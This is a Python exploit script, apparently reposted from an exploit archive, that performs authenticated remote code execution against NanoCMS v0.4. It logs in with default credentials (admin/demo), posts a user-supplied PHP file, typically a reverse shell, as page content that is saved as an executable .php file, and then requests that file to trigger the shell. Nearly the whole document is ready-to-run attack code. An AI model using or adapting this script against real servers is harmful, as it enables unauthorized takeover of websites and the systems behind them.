Share
## https://sploitus.com/exploit?id=PACKETSTORM:167901
# Exploit Title: NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)  
# Date: 2022-07-26  
# Exploit Auuthor: p1ckzi  
# Vendor Homepage: https://github.com/kalyan02/NanoCMS  
# Version: NanoCMS v0.4  
# Tested on: Linux Mint 20.3  
# CVE: N/A  
#  
# Description:  
# this script uploads a php reverse shell to the target.  
# NanoCMS does not sanitise the data of an authenticated user while creating  
# webpages. pages are saved with .php extensions by default, allowing an  
# authenticated attacker access to the underlying system:  
# https://github.com/ishell/Exploits-Archives/blob/master/2009-exploits/0904-exploits/nanocms-multi.txt  
  
#!/usr/bin/env python3  
  
import argparse  
import bs4  
import errno  
import re  
import requests  
import secrets  
import sys  
  
  
def arguments():  
parser = argparse.ArgumentParser(  
formatter_class=argparse.RawDescriptionHelpFormatter,  
description=f"{sys.argv[0]} exploits authenticated file upload"  
"\nand remote code execution in NanoCMS v0.4",  
epilog=f"examples:"  
f"\n\tpython3 {sys.argv[0]} http://10.10.10.10/ rev.php"  
f"\n\tpython3 {sys.argv[0]} http://hostname:8080 rev-shell.php -a"  
f"\n\t./{sys.argv[0]} https://10.10.10.10 rev-shell -n -e -u 'user'"  
)  
parser.add_argument(  
"address", help="schema/ip/hostname, port, sub-directories"  
" to the vulnerable NanoCMS server"  
)  
parser.add_argument(  
"file", help="php file to upload"  
)  
parser.add_argument(  
"-u", "--user", help="username", default="admin"  
)  
parser.add_argument(  
"-p", "--passwd", help="password", default="demo"  
)  
parser.add_argument(  
"-e", "--execute", help="attempts to make a request to the uploaded"  
" file (more useful if uploading a reverse shell)",  
action="store_true", default=False  
)  
parser.add_argument(  
"-a", "--accessible", help="turns off features"  
" which may negatively affect screen readers",  
action="store_true", default=False  
)  
parser.add_argument(  
"-n", "--no-colour", help="removes colour output",  
action="store_true", default=False  
)  
arguments.option = parser.parse_args()  
  
  
# settings for terminal output defined by user in term_settings().  
class settings():  
# colours.  
c0 = ""  
c1 = ""  
c2 = ""  
  
# information boxes.  
i1 = ""  
i2 = ""  
i3 = ""  
i4 = ""  
  
  
# checks for terminal setting flags supplied by arguments().  
def term_settings():  
if arguments.option.accessible:  
small_banner()  
elif arguments.option.no_colour:  
settings.i1 = "[+] "  
settings.i2 = "[!] "  
settings.i3 = "[i] "  
settings.i4 = "$ "  
banner()  
elif not arguments.option.accessible or arguments.option.no_colour:  
settings.c0 = "\u001b[0m" # reset.  
settings.c1 = "\u001b[38;5;1m" # red.  
settings.c2 = "\u001b[38;5;2m" # green.  
settings.i1 = "[+] "  
settings.i2 = "[!] "  
settings.i3 = "[i] "  
settings.i4 = "$ "  
banner()  
else:  
print("something went horribly wrong!")  
sys.exit()  
  
  
# default terminal banner (looks prettier when run lol)  
def banner():  
print(  
"\n .__ .__"  
" .__ "  
"\n ____ _____ ____ ____ ____ _____ _____| |__ ____ | "  
"| | | "  
"\n / \\__ \\ / \\ / _ \\_/ ___\\ / \\ / ___/ | \\_/ "  
"__ \\| | | | "  
"\n| | \\/ __ \\| | ( <_> ) \\___| Y Y \\___ \\| Y \\ _"  
"__/| |_| |__"  
"\n|___| (____ /___| /\\____/ \\___ >__|_| /____ >___| /\\___ "  
">____/____/"  
"\n \\/ \\/ \\/ \\/ \\/ \\/ \\/ "  
" \\/"  
)  
  
  
def small_banner():  
print(  
f"{sys.argv[0]}"  
"\nNanoCMS authenticated file upload and rce..."  
)  
  
  
# appends a '/' if not supplied at the end of the address.  
def address_check(address):  
check = re.search('/$', address)  
if check is not None:  
print('')  
else:  
arguments.option.address += "/"  
  
  
# creates a new filename for each upload.  
# errors occur if the filename is the same as a previously uploaded one.  
def random_filename():  
random_filename.name = secrets.token_hex(4)  
  
  
# note: after a successful login, credentials are saved, so further reuse  
# of the script will most likely not require correct credentials.  
def login(address, user, passwd):  
post_header = {  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "  
"Gecko/20100101 Firefox/91.0",  
"Accept": "text/html,application/xhtml+xml,"  
"application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "application/x-www-form-urlencoded",  
"Content-Length": "",  
"Connection": "close",  
"Referer": f"{arguments.option.address}data/nanoadmin.php",  
"Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",  
"Upgrade-Insecure-Requests": "1",  
}  
post_data = {  
"user": f"{user}",  
"pass": f"{passwd}"  
}  
  
url_request = requests.post(  
address + 'data/nanoadmin.php?',  
headers=post_header,  
data=post_data,  
verify=False,  
timeout=30  
)  
signin_error = url_request.text  
if 'Error : wrong Username or Password' in signin_error:  
print(  
f"{settings.c1}{settings.i2}could "  
f"sign in with {arguments.option.user}/"  
f"{arguments.option.passwd}.{settings.c0}"  
)  
sys.exit(1)  
else:  
print(  
f"{settings.c2}{settings.i1}logged in successfully."  
f"{settings.c0}"  
)  
  
  
def exploit(address, file, name):  
with open(arguments.option.file, 'r') as file:  
file_contents = file.read().rstrip()  
post_header = {  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) "  
"Gecko/20100101 Firefox/91.0",  
"Accept": "text/html,application/xhtml+xml,"  
"application/xml;q=0.9,image/webp,*/*;q=0.8",  
"Accept-Language": "en-US,en;q=0.5",  
"Accept-Encoding": "gzip, deflate",  
"Content-Type": "application/x-www-form-urlencoded",  
"Content-Length": "",  
"Connection": "close",  
"Referer": f"{arguments.option.address}data/nanoadmin.php?action="  
"addpage",  
"Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5",  
"Upgrade-Insecure-Requests": "1",  
}  
  
post_data = {  
"title": f"{random_filename.name}",  
"save": "Add Page",  
"check_sidebar": "sidebar",  
"content": f"{file_contents}"  
}  
  
url_request = requests.post(  
address + 'data/nanoadmin.php?action=addpage',  
headers=post_header,  
data=post_data,  
verify=False,  
timeout=30  
)  
if url_request.status_code == 404:  
print(  
f"{settings.c1}{settings.i2}{arguments.option.address} could "  
f"not be uploaded.{settings.c0}"  
)  
sys.exit(1)  
else:  
print(  
f"{settings.c2}{settings.i1}file posted."  
f"{settings.c0}"  
)  
  
print(  
f"{settings.i3}if successful, file location should be at:"  
f"\n{address}data/pages/{random_filename.name}.php"  
)  
  
  
def execute(address, file, name):  
print(  
f"{settings.i3}making web request to uploaded file."  
)  
print(  
f"{settings.i3}check listener if reverse shell uploaded."  
)  
url_request = requests.get(  
address + f'data/pages/{random_filename.name}.php',  
verify=False  
)  
if url_request.status_code == 404:  
print(  
f"{settings.c1}{settings.i2}{arguments.option.file} could "  
f"not be found."  
f"\n{settings.i2}antivirus may be blocking your upload."  
f"{settings.c0}"  
)  
else:  
sys.exit()  
  
  
def main():  
try:  
arguments()  
term_settings()  
address_check(arguments.option.address)  
random_filename()  
if arguments.option.execute:  
login(  
arguments.option.address,  
arguments.option.user,  
arguments.option.passwd  
)  
exploit(  
arguments.option.address,  
arguments.option.file,  
random_filename.name,  
)  
execute(  
arguments.option.address,  
arguments.option.file,  
random_filename.name,  
)  
else:  
login(  
arguments.option.address,  
arguments.option.user,  
arguments.option.passwd  
)  
exploit(  
arguments.option.address,  
arguments.option.file,  
random_filename.name,  
)  
except KeyboardInterrupt:  
print(f"\n{settings.i3}quitting.")  
sys.exit()  
except requests.exceptions.Timeout:  
print(  
f"{settings.c1}{settings.i2}the request timed out "  
f"while attempting to connect.{settings.c0}"  
)  
sys.exit()  
except requests.ConnectionError:  
print(  
f"{settings.c1}{settings.i2}could not connect "  
f"to {arguments.option.address}{settings.c0}"  
)  
sys.exit()  
except FileNotFoundError:  
print(  
f"{settings.c1}{settings.i2}{arguments.option.file} "  
f"could not be found.{settings.c0}"  
)  
except (  
requests.exceptions.MissingSchema,  
requests.exceptions.InvalidURL,  
requests.exceptions.InvalidSchema  
):  
print(  
f"{settings.c1}{settings.i2}a valid schema and address "  
f"must be supplied.{settings.c0}"  
)  
sys.exit()  
  
  
if __name__ == "__main__":  
main()